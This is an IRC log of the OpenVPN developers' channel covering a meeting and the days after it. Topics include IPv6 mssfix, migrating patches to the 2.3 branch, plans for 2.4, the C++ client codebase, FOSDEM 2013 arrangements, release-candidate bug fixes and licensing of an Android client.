13:25 <@ecrist> what about the MTU and mssfix bits? 13:25 < plaisthos> :) 13:25 < plaisthos> I got to get going 13:25 < plaisthos> have to leave you guys 13:25 < novaflash> bye plaisthos 13:25 < swg0101> cya 13:25 <@jamesyonan> mssfix isn't there now, but it's on my short list of things to add 13:26 <@jamesyonan> bye plaisthos 13:26 <@cron2> james: I did mssfix for IPv6 today. If you're working on that, you might want to look at it :-) - haven't sent the patch yet, but it's working on our corp VPN server 13:26 <@cron2> http://public.greenie.net/gert/misc/ipv6-mss-diff2.txt 13:27 <@jamesyonan> cool 13:27 < plaisthos> jamesyonan: One last question before I go. My client is currently named "OpenVPN for Android". At the time I first named the client I did not give it much thought. I have later realized that the name might sound "official". If you do not like this I can change the name 13:27 <@jamesyonan> no, I don't think that's really necessary 13:28 <@raidz> plaisthos: Love your client btw :-D 13:28 <@jamesyonan> we tend to brand the OpenVPN Tech products with "OpenVPN Connect" anyway 13:29 < novaflash> and in future releases of access server we'll probably have links to the openvpn tech versions for android and ios anyways 13:29 < novaflash> at least, that's what i'd expect 13:29 < plaisthos> raidz: thanks 13:29 < plaisthos> jamesyonan: okay thanks bye 13:29 <@jamesyonan> see ya 13:30 <@mattock_> jamesyonan: you mentioned that the C++ codebase is still very far from being a replacement for 2.x 13:30 <@mattock_> so we'll be living with the original code for quite a while 13:30 < novaflash> 2.* will continue 13:30 <@cron2> mattock_: it has no server side yet 13:31 <@jamesyonan> yes, it's much closer to being a client-side replacement, but the server side will take more development 13:31 <@mattock_> today I tried merging some of your SVN patches to Git, and it wasn't pretty 13:31 <@jamesyonan> snappy? 13:31 <@mattock_> I think we're past the point where we "should move" to 2.3, and are in "need to move a.s.a.p." 13:31 <@mattock_> yes, that and all others actually 13:31 <@mattock_> snappy is probably the worst of the bunch 13:32 < novaflash> the new compressor? 13:32 <@mattock_> yep 13:32 < novaflash> ironic that a name like snappy should take much time to get integrated. 13:33 <@jamesyonan> snappy is really great though -- I don't know if you've looked through the source 13:33 < swg0101> Google's implementation? 13:33 <@jamesyonan> this is what google uses company-wide as its main compressor 13:33 < swg0101> would be curious to see if it makes good performance differences 13:33 < swg0101> perhaps with aes-ni 13:36 <@mattock_> jamesyonan: can you port the patches I sent you for 2.3? 13:36 <@mattock_> I could then do more testing with 2.3 with those patches included 13:37 <@jamesyonan> the snappy patch? 13:37 <@mattock_> all of the patches, except r8129 13:37 <@mattock_> that one was fairly trivial to port 13:37 <@mattock_> the first problem is that files have been moved around 13:37 <@mattock_> e.g. 13:37 <@mattock_> init.c -> src/openvpn/init.c 13:38 <@mattock_> that's trivial, but doesn't do the trick anymore, too many changes/cleanups in 2.3 13:38 <@jamesyonan> ok, I'll take a look at it 13:38 <@mattock_> so manual merging is necessary for all patches 13:39 <@mattock_> jamesyonan: how is your 2.3-fu? meaning, should we arrange a meeting where we take a look at what's exactly has change since 2.1.x? 13:39 <@jamesyonan> yes, we are planning to migrate to 2.3 for the next version of AS 13:39 <@mattock_> in fact, I did some tests on openvpn 2.3-rc1 and AS, and got the thing running 13:39 < novaflash> AS 1.9? :) 13:39 <@jamesyonan> yes, that would make sense 13:39 <@mattock_> with fairly minimal modifications 13:39 <@cron2> mattock: oh, that's cool 13:40 <@jamesyonan> novaflash: yes 13:40 < novaflash> neat. i mean, cool. 13:40 <@mattock_> I thank dazo for keeping Git in sync with SVN for this long... for the missing patches, I don't blame him for dropping the ball :D 13:40 <@mattock_> Alon's buildsystem work made merging much more difficult 13:41 <@dazo> heh ... no it just got too complicated to merge it in for me ... well, I could do it ... but it would require a lot of analysing of each conflict 13:41 <@mattock_> jamesyonan: "yes, that would make sense" ... was this a response to the meeting suggestion? 13:41 <@dazo> on the plus side ... alons build system now works fairly well on cross-compiles and cross-platform stuff, I htink 13:41 <@jamesyonan> yes 13:41 * cron2 grumbles quietly about the build system accident^Wrevolution 13:41 <@mattock_> dazo: yes, that's correct, it's pretty good 13:42 <@mattock_> best buildsystem so far 13:42 <@cron2> some parts are great, but rearranging all the source tree was... "more religious than useful" 13:42 <@mattock_> ...maybe if we rebuilt another buildsystem from scratch, then we could fix all the problems in the current one? :P 13:43 <@dazo> cron2: to some extent, I can agree ... but the "everything in root dir" was also quite chaotic too 13:43 <@mattock_> I think the new layout is quite nice 13:43 <@cron2> it's not so much the build system, as the "other changes" 13:43 * cron2 hates it every time I look at stuff 13:44 <@cron2> src/openvpn/ is just overdoing it for a single program, "src/" is fully fine, and "everything in toplevel dir" was good enough for me 13:44 <@cron2> but we digress - damage has been done, and it's easy to oppose something in hindsight 13:45 <@mattock_> jamesyonan: as C++ codebase is not going to go server anytime soon, so what about 2.4? 13:46 <@mattock_> moving AS to 2.3 should be _fairly_ painless 13:46 <@mattock_> then we have 2.4 release cycle coming up 13:46 <@mattock_> what is our strategy regarding it? 13:47 <@mattock_> "what drives us forward with 2.4" 13:47 <@jamesyonan> yes, don't see the C++ codebase as altering the evolution of 2.x branch for a least another year or two 13:49 <@jamesyonan> my attitude is that the C++ codebase should prove itself in multiple areas before it is embraced en-mass 13:49 <@mattock_> will 2.4 be mostly about cleanups/stabilization, or do we (=the project) have some other agenda? 13:51 <@dazo> well, plaisthos does a lot of code clean-up in socket.c ... and we have a lot of other clean-ups as well ... and it might be we try to modularise other things better as well 13:51 <@mattock_> I'm thinking of removing rarely used options 13:51 <@dazo> but some important things I hope we can sort out with 2.4 is listening to multiple ports and protocols 13:51 <@mattock_> i.e. historic baggage 13:51 < novaflash> multiple cores? *hopeful* 13:51 <@cron2> mattock: what you consider historic baggage might be the reason why people are using OpenVPN... :-) 13:52 <@mattock_> cron2: I hear you complaining about too many options :D 13:52 <@mattock_> but you're right 13:52 <@dazo> novaflash: nope, that won't fit into 2.4 .... going from single thread to multi-thread requires a too massive change now 13:52 <@mattock_> so we'd need to identify what's just baggage, and what's being used 13:52 <@cron2> indeed, we have way too many options, but sometimes you find yourself in a corner and all that helps is one of the more obscure options... 13:52 <@mattock_> lol :) 13:53 < novaflash> dazo: i have to admit, knowing how openvpn works, it's best to leave the multi core handling outside of it 13:53 <@jamesyonan> why not preserve the options in 2.x branch and let 3.x be testing ground for removal of obsolete options 13:53 <@cron2> dazo: oh, if someone comes along and finds a way to split encryption, decryption, crypto, and "the rest" into a handful of threads, I might be open to take a closer look... 13:53 <@mattock_> actually, I don't think not having multiple threads is that bad 13:53 <@cron2> s/crypto/compression/ 13:53 <@cron2> well, it limits performance... 13:54 < novaflash> maybe not but it'd only really be of much use in very large deployments (where people use multiple openvpn processes anyways) and on systems with very low power but dual core cpu systems like atom systems. 13:54 <@dazo> cron2: true ... but there's this nasty thing called CPU caching as well ... so to make that optimal, that will require some nasty analysing too 13:54 <@jamesyonan> the C++ core supports multiple threads, HOWEVER, you really can't do fine grained threading and expect to see a performance gain 13:54 <@mattock_> one can have multiple processes, which, while heavier than threads are adequate 13:54 <@cron2> my goals for 2.4 is "code overhaul to integrate IPv6 more nicely" (it's bolted-on right now - working but ugly) 13:54 < novaflash> agree with mattock_ . 13:54 < novaflash> cron2: seconded, ipv6 is hot right now 13:55 <@dazo> and the things with threading ... you loose performance instantly in the moment you have more high loaded threads than CPU cores available 13:55 <@cron2> dazo: well, that speaks for "two threads" (one for incoming, one for outgoing packets)... 13:55 <@dazo> cron2: agreed 13:55 <@cron2> and you don't loose if you do not synchronize around too much... (maybe a 3rd thread for handshaking) 13:56 <@cron2> but I'm not writing it - not enough experience with writing threaded code to feel comfortable about doing this in a security product 13:56 <@mattock_> we actually have one more important topic today: 13:56 <@mattock_> "Joint company/community meeting in FOSDEM in Bruessels" 13:56 <@mattock_> jamesyonan: we insist you come there 13:56 < novaflash> perhaps it's best to take small but important steps with 2.*, and big steps in 3 ? 13:56 <@cron2> novaflash: it's in, and it's working, but it's missing some bells and whistles, and needs polishing 13:56 < novaflash> mattock_: that would be so cool, having james here 13:56 <@jamesyonan> yes, I'm going to try to be there 13:57 <@cron2> cool 13:57 <@dazo> I'm trying to get the bookings done this or next week 13:57 < novaflash> mattock_: do you know the exact date and shit? 13:57 <@mattock_> jamesyonan: if we can open source the C++ codebase by then, then your should _definitely_ be there and give a presentation of it 13:58 <@cron2> novaflash: all on fosdem.org/2013/ 13:58 <@jamesyonan> yes, that's what I'm thinking 13:58 <@dazo> novaflash: February 2-3 13:58 < novaflash> ah thanks, neato 13:58 < novaflash> oh hell! 13:58 <@mattock_> also, the company should offer a nice dinner for everyone involved in the project 13:58 < novaflash> it's belgium! 13:58 < novaflash> beer! 13:58 <@mattock_> :) 13:59 <@jamesyonan> sure, great idea 13:59 < novaflash> okay, yes, i'm okay now. 13:59 <@dazo> novaflash: I've been told that in Germany 7 beers counts as a dinner ... 13:59 <@mattock_> novaflash: that is most correct 13:59 < novaflash> i'll buy you guys some beer 13:59 * cron2 will bring warmer shoes this time 13:59 * dazo too 13:59 < novaflash> cron2: did you go naked again? 14:00 <@cron2> novaflash: nah, but last year they had a huge amount of snow, and the heating in the university buildings was... not up to it 14:00 < novaflash> yikes 14:00 <@mattock_> was there any heating? 14:00 < novaflash> yes, the beamer was on 14:00 <@cron2> mattock: if you bring in 1000 open source zealots, there *is* heat. But it wasn't enough 14:00 <@dazo> it's the first conference I've been to where I saw plenty of geeks hacking in thick jackets ... not t-shirts :-P 14:01 < novaflash> note to self: don't go naked 14:02 < novaflash> so um what's next on the agenda? 14:03 <@mattock_> hmm, I guess we're mostly done 14:03 <@cron2> we just need confirmation that dazo is happy and will now end his strike 14:03 < novaflash> he's on strike? 14:03 <@dazo> hehe :) 14:04 <@mattock_> definitely 14:04 < novaflash> perhaps he needs a good ole whipping 14:04 * cron2 whips dazo with lots of ACKs 14:04 <@cron2> on strings 14:04 <@mattock_> or "in strings"? 14:04 < novaflash> i am getting a very odd image here now 14:04 < novaflash> of cron2 in g-string 14:04 * cron2 doesn't want to know 14:04 < novaflash> whipping dazo 14:04 <@dazo> jamesyonan: would it be possible to get you more visible on the -devel mailing list? Like just giving "ACK" or "NACK" to patches which makes sense ... doesn't need to too often but a few times every month when there are some un-reviewed patches would help 14:04 <@mattock_> oh my, all of this will go to the mailing list 14:05 <@mattock_> +1 14:05 < novaflash> mattock_: just delete everything i said then 14:05 <@mattock_> we've missed you 14:05 <@mattock_> novaflash: the trust must not me tampered with 14:05 <@mattock_> oops 14:05 <@mattock_> truth 14:05 < novaflash> mattock_: but that typo will MAGICALLY be repaired? 14:05 <@mattock_> no 14:05 < novaflash> heh 14:05 <@jamesyonan> I think that's a good idea, I just need to scale better 14:05 < novaflash> okay good then. 14:06 <@cron2> jamesyonan: you need to reimplement yourself using C++ and Boost, obviously :-) 14:06 <@mattock_> jamesyonan: I think moving to 2.3 will help... raidz is running a test suite with 2.3-rc1 atm 14:06 <@dazo> jamesyonan: I think we're fairly good now ... cron2 have done a good job reviewing stuff ... but I do know we have some stuff which needs to be reviewed for 2.4 14:06 < novaflash> mattock_: i got your test suite forwarded and am going to give it a shot too 14:06 <@jamesyonan> no, I think I need to go quantum 14:07 <@mattock_> we need to communicate with the community devs using the "normal" methods to be effective 14:07 <@dazo> (which is rather old stuff ... but I'll summarise it on a wiki first) 14:07 <@mattock_> the "weekly meeting with James" worked initially, but quite often it created lot of delay 14:07 <@dazo> and I know plaisthos will come with some socket.c clean-up too 14:07 < novaflash> jamesyonan: remove your GPL license and let us fork you a couple of times so there's more of you to spread around 14:08 <@mattock_> there's also the option of stopping all the interesting side-projects? 14:08 <@mattock_> I'm constantly struggling with that myself 14:08 <@mattock_> :) 14:09 * dazo would like to reduce the openvpn side-project, so he could focus more on his own eurephia project :-P 14:09 <@jamesyonan> it's easier for me to spend a couple hours a week with undivided attention than to multitask off-and-on into community discussions 14:09 <@mattock_> dazo: how's the openvpn linux gui side-project going? :P 14:09 <@dazo> oh true 14:10 <@dazo> GUI programming is a mess 14:10 <@dazo> even GTK 14:10 < novaflash> dazo is developing a gui for linux? awesome! 14:10 <@dazo> I've took over the maintenance of gopenvpn 14:10 <@dazo> the previous maintainer didn't have much time for it any more 14:11 <@jamesyonan> dazo: have you looked at SRP ( http://en.wikipedia.org/wiki/Secure_Remote_Password_protocol )? 14:11 <@vpnHelper> Title: Secure Remote Password protocol - Wikipedia, the free encyclopedia (at en.wikipedia.org) 14:11 <@cron2> dazo: is that a useful thing to have, gopenvpn, as to "make the integration in NM better" (as everybody seems to go to NM anyway) 14:12 <@mattock_> jamesyonan: we haven't had "classic" IRC meeting on Thursdays for a while, because things have worked fine without them 14:12 <@dazo> cron2: NM is useful for "I just need one VPN tunnel" .... but I usually use 3 in parallel, and gopenvpn is somewhat closer in behaviour to the Windows GUI .... using real config files 14:12 <@cron2> dazo: ah, so NM cannot do multiple tunnels? Indeed, that would be a good reason for "something better" 14:13 <@dazo> jamesyonan: nope ... but that looks interesting (at least if I don't have to go to deep on the mathematics :)) 14:13 * cron2 is confused by graphical stuff 14:13 <@dazo> cron2: and if NM looses the wireless for a second ... it disconnects/stops all VPN tunnels 14:13 <@mattock_> jamesyonan: it'd be great if you could, say, check openvpn-devel list 2-3 times a week and then immediately close the email client :) 14:13 <@dazo> that's my second big complaint about NM 14:13 <@mattock_> that strategy saves my nerves and improves my focus :) 14:14 <@dazo> (to fix that, it seems the core NM needs to be reworked) 14:14 <@cron2> mattock: and you compensate by hanging in IRC all day :-) 14:14 <@dazo> hehe 14:14 <@mattock_> well, yes... but I hate email more than I hate IRC 14:14 <@mattock_> email => somebody wants me to do something 14:14 < novaflash> as it appears that the main agenda points have been handled (unless our illustrious leaders indicate otherwise) i am going to go get some things sorted here and head off to bed. 14:15 <@mattock_> novaflash: good idea 14:15 <@cron2> dazo: seems we really need to sit together with d12fk @FOSDEM to sort out the privilege separation / gui / service stuff 14:15 <@cron2> that should happen "soon" now... 14:15 <@cron2> novaflash: good night 14:15 <@mattock_> and we should book the flights / hotels soon, before the prices start climbing up 14:15 <@dazo> cron2: agreed ... that's 2.4 material 14:16 <@dazo> and if jamesyonan will be present at FOSDEM ... it would be natural to gain from his experience there as well 14:16 <@mattock_> oh, one more thing 14:17 <@mattock_> I want to set a time when James comes here to be moved to wonderful world of Git and 2.3.x 14:17 <@mattock_> jamesyonan: please pick a date and time :D 14:17 <@jamesyonan> yes, I do like git, but I'm still stuck with svn for now 14:17 <@mattock_> I can take care of the Git part, I've been dazo's apprentice 14:18 <@mattock_> how do we get you unstuck? how can we help? 14:18 <@cron2> "rpm -e svn" 14:18 <@jamesyonan> rpm: not found 14:18 <@mattock_> uh 14:18 <@dazo> heh 14:18 <@cron2> jamesyonan: now I think dazo will stop talking to you...! 14:19 <@dazo> hmmmm ;-) 14:19 <@jamesyonan> actually I use mac most of the time 14:19 <@mattock_> jamesyonan: next Thursday, same time, same place? 14:19 <@jamesyonan> sure 14:20 <@mattock_> ok, excellent 14:20 <@mattock_> I think we're done, then 14:20 <@mattock_> any objections? 14:21 * cron2 is fine 14:22 <@jamesyonan> fine here 14:22 <@ecrist> none from me 14:23 * dazo is fine 14:23 <@mattock_> nice! 14:23 <@mattock_> ok, next meeting next week this time 14:23 <@mattock_> I'll send a summary tomorrow 14:23 <@dazo> thx all! 14:26 <@mattock_> good night! 14:27 <@mattock_> or midday, or whatever :P 14:42 -!- selva [~selva@scala.nanotech.utoronto.ca] has joined #openvpn-devel 14:43 -!- selva [~selva@scala.nanotech.utoronto.ca] has quit [Client Quit] 14:46 <@dazo> mattock_: ready to spin a RC2? 14:46 <@dazo> tomorrow or so? 14:47 * dazo have applied 5 patches ... just need some sanity checking before pushing it out 14:51 <@mattock_> dazo: rc2? 14:52 <@dazo> mattock_: yeah ... cron2 got a patch he needs to test for the final release ... so I figured, an rc2 would be good now ... just plenty of bug fixes 14:52 <@mattock_> yeah, not a big deal 14:53 <@dazo> * 5541ea2 - Avoid recursion in virtual_output_callback_func() (2012-11-29 21:47:57 +0100) 14:53 <@dazo> * 28d9e57 - The get_default_gateway() function uses warn() instead of msg() (2012-11-29 21:47:57 +0100) 14:53 <@dazo> * 9447858 - Properly require --key even if defined(MANAGMENT_EXTERNAL_KEY) (2012-11-29 21:47:57 +0100) 14:53 <@dazo> * 9e6b857 - Fix typo in ./configure message (2012-11-29 21:47:57 +0100) 14:53 <@dazo> * 376e143 - doc/management-notes.txt: fix typo (2012-11-29 21:47:56 +0100) 14:53 <@dazo> * cb8c4ef - Error message if max-routes used incorrectly (2012-11-22 11:39:49 +0100) 14:53 <@dazo> * fd02ae9 - Fix --show-pkcs11-ids (Bug #239) (2012-11-22 11:25:11 +0100) 14:53 <@dazo> * 03dfcd9 - Fix double-free issue in pf_destroy_context() (2012-11-06 11:53:30 +0100) 14:53 <@dazo> that's the changelog from rc1 14:53 <@dazo> since 14:54 <@mattock_> if not tomorrow, then on Monday 14:54 <@mattock_> we should make regular releases, no matter if they're smallish 14:56 <@dazo> I'm thinking RC releases should be small :) 15:01 <@mattock_> yep 15:04 <@mattock_> currently one minor release takes ~3 hours, so I don't mind doing one each month or so 15:04 <+krzee> thanks guys, im gone 15:04 <+krzee> good meeting, too bad francis couldnt make it 15:04 <@mattock_> most of the time is consumed by playing with Joomla, building the various packages (Windows/Deb/RPM) 15:04 <+krzee> o/ later 15:04 <@mattock_> krzee: yep, I'll pull him in one of these meeting 15:04 <@mattock_> s 15:05 <@dazo> mattock_: good to know! If cron2's testing looks good ... I'd say we can release final 2.3 in ~2 weeks ... then it will be silent for some weeks :) 15:05 * krzee notes we have a webchat if irc is that rough for him ;] 15:05 <@mattock_> krzee: yup 15:05 <@mattock_> where is the webchat, btw? 15:06 <@mattock_> ...plus making the announcements and smoketesting 15:07 <@dazo> mattock_: ahh, true ... I always forget we need to test the windows binaries .... 15:07 <@mattock_> yep, it's a pita, but needs to be done 15:08 <@mattock_> I don't usually test all of the deb/rpm packages, just a few 15:08 <@mattock_> I trust them more 15:09 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 15:11 * dazo waits for 'make check' to complete ... then git push and the spam engine starts :) 15:13 <@cron2> mattock, dazo: do you want the mssfix in RC2 or in RC3? 15:14 <@dazo> cron2: I'd say v2.3 final ... which will be the next one after rc2, unless something ugly turns up 15:14 <@dazo> so far, those few patches applied in top of rc1 are fairly minor issues 15:14 <@dazo> (minor but crucial to get fixed) 15:15 <@cron2> then I think I want the mssfix in RC2, so it gets some more testing than just my own 15:15 <@dazo> cron2: that gives you also some time to test your fix a bit more before pushing it out 15:15 <@cron2> or so :) 15:15 <@dazo> :) 15:16 <@dazo> okay, no worries about that ... we'll hold of the final release then due to you :-P ;-) 15:17 <@dazo> okay ... all the stuff is pushed out now :) 15:20 <@vpnHelper> RSS Update - testtrac: The get_default_gateway() function uses warn() instead of msg() <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=b3f19cc4bec6978a128f5af3ab22d8cfa954b064> || Avoid recursion in virtual_output_callback_func() <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=b2b66179f6dcc37de9582d5c3044f0357dda3df3> || Properly require 15:23 -!- dazo is now known as dazo_afk 19:41 -!- raidz is now known as raidz_afk 19:50 -!- swg0101 is now known as swg0101_away 20:10 -!- swg0101_away is now known as swg0101 20:34 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao] 22:26 -!- swg0101 is now known as swg0101_away --- Day changed Fri Nov 30 2012 00:41 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:41 <@andj> Just read the backlog, good to see the community is still mature and stable :) 02:42 < novaflash> mature.... yeeess.. 02:42 <@andj> One extra note from my side about the C++ client 02:42 < novaflash> ha 02:42 < novaflash> ;) 02:42 <@andj> well, the drama level never reached too high a level... I'll leave out the comments somewhere in the middle there... those are more adult... 02:42 <@andj> :) 02:43 <@andj> anyway, there's another factor from my side: switching to a new code base is going to be painful for evaluation 02:43 <@andj> the current code base is documented and ready for evaluation 02:44 <@andj> switching to a new code base is going to be painful documentation-wise 02:44 < novaflash> well, yeah. but 3. has to prove itself quite a lot before it's going to be considered as a replacement 02:44 < novaflash> in the meantime 2 just goes on 02:44 <@andj> I know, it's just a heads-up 02:45 <@andj> I'm not too worried right now, I just hope we can keep the documentation aspects in mind for 3.x 03:44 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:44 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 03:44 -!- dazo_afk is now known as dazo 04:15 <@mattock_> I'll have to postpone the 2.3-rc2 release to Monday 04:19 <@d12fk> <howdy, sorry couldn't make it yesterday 04:19 <@dazo> mattock_: no worries ... cron2 wanted to have his ipv6 mssfix patch into rc2 too 04:19 <@mattock_> ok, good 04:20 <@cron2> $colleague tested yesterday, and seemed happy - "solved his problems and broke nothing else" :-) 04:20 <@d12fk> dazo, some advise on where to put the priv-sep-channel header? 04:20 <@d12fk> include? 04:20 <@mattock_> I slept fairly late, as I woke up in the middle of the night and possibly figured out an uber-cool solution to the relicensing issue 04:20 <@mattock_> :) 04:20 <@dazo> d12fk: can you pastebin what you want to put in the header file? 04:22 <@d12fk> dazo: http://pastebin.com/RpYtTVf3 04:22 <@d12fk> this will grow soon when i add the message for flushing the arp cache 04:22 <@d12fk> and possibly more later when there is demand 04:23 <@d12fk> both the service and ovpn need this info 04:23 <@d12fk> instead of maintaining two separate version i want a shared file where this resides 04:24 <@dazo> d12fk: maybe just put it into a 'message-pipe.h' ? As it is fairly specific to this feature 04:24 <@d12fk> yes but where's the right place 04:26 <@d12fk> src/? include/ (rather not)? 04:26 <@dazo> this will only be used inside the core openvpn, right? if so, then src/openvpn .... if it is to be used by plug-ins and things "outside" openvpn (needing to be part of a -devel package), then ./include 04:27 <@d12fk> afaik the service can't include from src/openvpn 04:27 <@d12fk> maybe introduce src/include/? 04:27 <@dazo> 'the service' that's your GUI? 04:27 <@d12fk> nope src/openvpnserv/* 04:27 <@dazo> ahh, okay 04:28 <@dazo> nah, I then think ./include would be the most proper place, tbh 04:28 <@dazo> as this service pipe is of course an API which can be used outside OpenVPN 04:28 <@d12fk> but then make it nodist 04:29 <@cron2> noinstall 04:29 <@dazo> yup! ... ./include files should typically go into a openvpn-dev{,el} package 04:30 <@d12fk> not sure if this is really something for the outside world or rather something ovpn internal hence nodist 04:30 <@dazo> d12fk: well, I might consider to use this API myself in gopenvpn (or if I loose my sanity, nm-openvpn-helper) 04:31 <@d12fk> plus it's designed to fit other OSes as well if there's demand 04:31 <@d12fk> ok 04:32 <@d12fk> include/ it will be 04:33 <@dazo> I haven't gotten that far yet, but I'm going to propose a patch to Fedora .spec file (to Fedora maintainers) to package ./include files as openvpn-devel .... I think mattock_ packages them in an openvpn-dev for deb/ubu (at least I think we talked about it) 04:47 <@d12fk> openvpn-msg.h? 04:47 <@dazo> yeah, lets do that 04:47 <@d12fk> done 05:12 <@d12fk> how about we name the whole feature more neutrally: --msg-channel 05:13 <@d12fk> now that we have openvpn-msg.h 05:13 <@d12fk> thats the very basic thing it is, a channel where those messages are transmitted over 05:14 <@d12fk> that the receiver end is mor eprivileged than the ovpn process is rather a coincidence 05:15 <@d12fk> plus it's easy to write and speak about it, easier that priv. escal. chan. or such, we've gone through a few in the past... 05:22 <@dazo> d12fk: agreed 07:27 <@mattock_> uh, my idea for avoiding written relicensing exception agreements (or whatever they are called) would not probably work 07:27 <@mattock_> all that staying up in the middle of the night for nothing :P 07:27 <@mattock_> just in case someone is intrigued, the idea was to overlay MIT/BSD-licensed community contributions on a GPLv2/3 core 07:28 <@mattock_> probably wouldn't work, as GPL requires any derivative work to be licensed as GPL 08:07 < plaisthos> (which brings me to the license situation of my android app) 08:09 <@dazo> plaisthos: Google Play don't allow GPL? 08:10 < plaisthos> dazo: nah, I licensed the GUI under BSD but I am not sure if the GUI count as derivate work of OpenVPN 08:11 <@dazo> plaisthos: I think not ... as it executes the binary you provide - in addition you provide the full source code to the openvpn binary 08:11 <@dazo> plaisthos: and controlling the binary goes via a pre-defined API 08:11 < plaisthos> dazo: yeah, the first versions actually were a wild JNI directly into openvpn mix :) 08:11 <@dazo> (otherwise OpenVPN Connect for Windows would have license issues as well ... they basically do the same) 08:12 < plaisthos> dazo: ah okay 11:12 -!- raidz_afk is now known as raidz 11:47 -!- dazo is now known as dazo_afk 12:31 -!- swg0101_away is now known as swg0101 12:31 -!- swg0101 [~swg0101@openvpn/user/swg0101] has left #openvpn-devel [] 12:56 -!- Netsplit *.net <-> *.split quits: @cron2, ender`, @vpnHelper 13:02 -!- Netsplit over, joins: @cron2, @vpnHelper 13:12 * plaisthos sends his huge patch to the ML 13:13 < plaisthos> (and nine smaller patches) 13:23 <@ecrist> holy emails, bat man 13:32 < plaisthos> ecrist: :P 15:51 <@cron2> plaisthos: didn't we agree to use -4 and -6 (instead of "tcp4" and "tcp6")? 15:51 * cron2 is all confused 17:47 -!- ender` [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 17:50 -!- novaflash is now known as novaflash_away 18:53 < plaisthos> cron2: yes we did 19:05 <@ecrist> boo 19:13 -!- raidz is now known as raidz_afk --- Day changed Sat Dec 01 2012 04:37 -!- novaflash_away is now known as novaflash 05:23 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has joined #openvpn-devel 06:18 < plaisthos> strange mail "help" 06:28 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 07:27 <@cron2> plaisthos: so this is just an intermediate step? or a redesign? 07:27 <@cron2> (it might be easier to implement that way...) 07:37 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:37 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 07:37 < plaisthos> cron2: The whole protcol stuff needs some love 07:38 < plaisthos> currently udp6 and udp are different proctol 07:38 <@cron2> ugh 07:38 < plaisthos> and not the same protcol using different AF_INET/AF_INET6 07:38 <@cron2> I've seen your patch heap, and will go through them ASAP. I assume this is 2.4 material? 07:38 < plaisthos> and cleaning this up is possible that I choose not to do that in this patch 07:39 < plaisthos> cron2: yes, apart perhaps from 01/10 and 6/10 07:44 <@cron2> 01/10 ACKed, 06/10 I'm not sure I understand 07:45 <@cron2> what is --ip-remote-hint there for? What corner cases would one use this? 07:46 <@cron2> lol 07:46 <@cron2> Google for openvn "ip-remote-hint" finds exactly *one* match... 07:47 <@cron2> (with quotes, otherwise it will find lots of matches for "remote" etc.) 07:52 < plaisthos> cron2: yes the mail with the patch 08:32 <@cron2> exactly :-) - which backs the assumption "nobody knows what it's good for" 15:57 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:10 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] --- Day changed Sun Dec 02 2012 05:10 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Read error: No route to host] 05:16 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:16 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 06:22 -!- novaflash is now known as novaflash_away 06:22 -!- novaflash_away is now known as novaflash 14:26 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Remote host closed the connection] 18:22 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 244 seconds] 19:02 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 19:02 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Mon Dec 03 2012 02:25 <@cron2> moin 02:35 <@mattock_> moin 03:14 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:01 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 04:37 -!- dazo_afk is now known as dazo 04:44 -!- GreenAsh [~GreenAsh@46.146.228.76] has joined #openvpn-devel 04:58 <@d12fk> i cant open my vpn... better contact the ppl from open vpn, they'll do stuff like that 05:00 <@d12fk> i liked "help" too 05:46 < plaisthos> d12fk: :) 05:58 < novaflash> omnomnom 06:02 <@cron2> plaisthos/dazo: could you review + ACK please, so mattock can do RC2? 06:03 < plaisthos> cron2: I will look into it this evening 06:05 <@dazo> plaisthos: would be great if you could manage that ... as you probably understand that code far better than me :) 06:10 < plaisthos> dazo: I have not yet look into that code 06:10 < plaisthos> I mostly looked at the lower level code 06:14 <@dazo> plaisthos: nah, I've seen you discuss deeper IPv6 stuff here ;-) 06:15 <@mattock_> oh shit, rc2 06:15 <@mattock_> forgot all about it :D 06:15 <@mattock_> well, tomorrow I have time 06:15 * dazo is still on the "I know how to configure IPv6 nets" 06:15 <@dazo> mattock_: no worries ... I need some time as well to pull in a couple of more patches :) 06:15 <@cron2> dazo: all relevant RFCs are referenced in the patch 06:15 <@mattock_> good :) 06:16 <@dazo> cron2: :) 06:16 * dazo knows he should probably spend time reading it ... but having time is more challenging :) 07:00 < plaisthos> dazo: Yeah, took my 1/2 year to write the socket.c patches 07:00 < plaisthos> And I am still not finish 07:00 <@dazo> plaisthos: 1/2 year already!?!?! :) 07:00 < plaisthos> dazo: yeah 07:00 < plaisthos> dazo: My first release of the Android client is March 2102 07:01 < plaisthos> And that was the time I found out how broken dual stack support was 07:01 <@dazo> :) 07:38 -!- Takamichi [Takamichi@c86-7.i07-22.onvol.net] has joined #openvpn-devel 07:57 -!- GreenAsh [~GreenAsh@46.146.228.76] has quit [Read error: Connection reset by peer] 08:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 09:25 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Ping timeout: 260 